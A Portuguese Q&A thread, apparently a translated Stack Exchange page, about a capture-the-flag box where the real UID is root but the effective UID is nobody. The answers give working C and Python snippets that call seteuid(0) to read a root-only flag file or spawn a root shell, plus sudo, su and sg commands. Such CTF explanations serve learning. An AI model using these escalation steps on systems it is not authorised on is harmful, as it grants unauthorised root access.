![UID é root, mas whoami diz que ninguém](https://rvso.com/image/1618348/UID%20%C3%A9%20root%2C%20mas%20whoami%20diz%20que%20ningu%C3%A9m.png)
Estou participando de um concurso de captura da bandeira, onde devo implementar alguma forma de escalonamento de privilégios para ler o flag.txt
arquivo. Percebi que quando executo whoami
obtenho o seguinte resultado:
myHostHere:/$ whoami
nobody
Mas quando executo id
meu UID está definido como root
:
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
Isso significa que é possível atuar como usuário root, etc. ou estou interpretando mal a saída?
Editar:
A saída de ls -l flag.txt
é a seguinte:
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
Responder1
Isso pode ser resolvido escrevendo e compilando (com --static
) um programa C como este em uma máquina separada:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
Este arquivo pode ser copiado para a máquina CTF, com permissão para ser executado chmod +x
e executado a partir da tmp
pasta.
Responder2
Criei uma configuração muito parecida com a sua. Eu fiz isso com um depurador (exemplos:aquielá). No shell afetado eu tenho:
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
Então, de acordo comesta resposta:
O acesso a arquivos e operações que exigem privilégios de root, observe o UID e o GID efetivos.
Na verdade, é isso que acontece:
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
Mas eu posso fazer isso:
$ sudo cat flag.txt
foo
Ou isto:
$ su -
# whoami
root
# cat flag.txt
foo
Ou isto:
$ sg root 'cat flag.txt'
foo
Quando você tiver uid=0
, qualquer coisa que possa usar seteuid
a chamada do sistema e depois ler o arquivo pode ajudá-lo. Por exemplo python
:
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
Em vez de (ou além) de ler o arquivo, você pode gerar um shell elevado:
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
Neste shell você está root
; cat flag.txt
vai funcionar.
Testado: Debian GNU/Linux 9.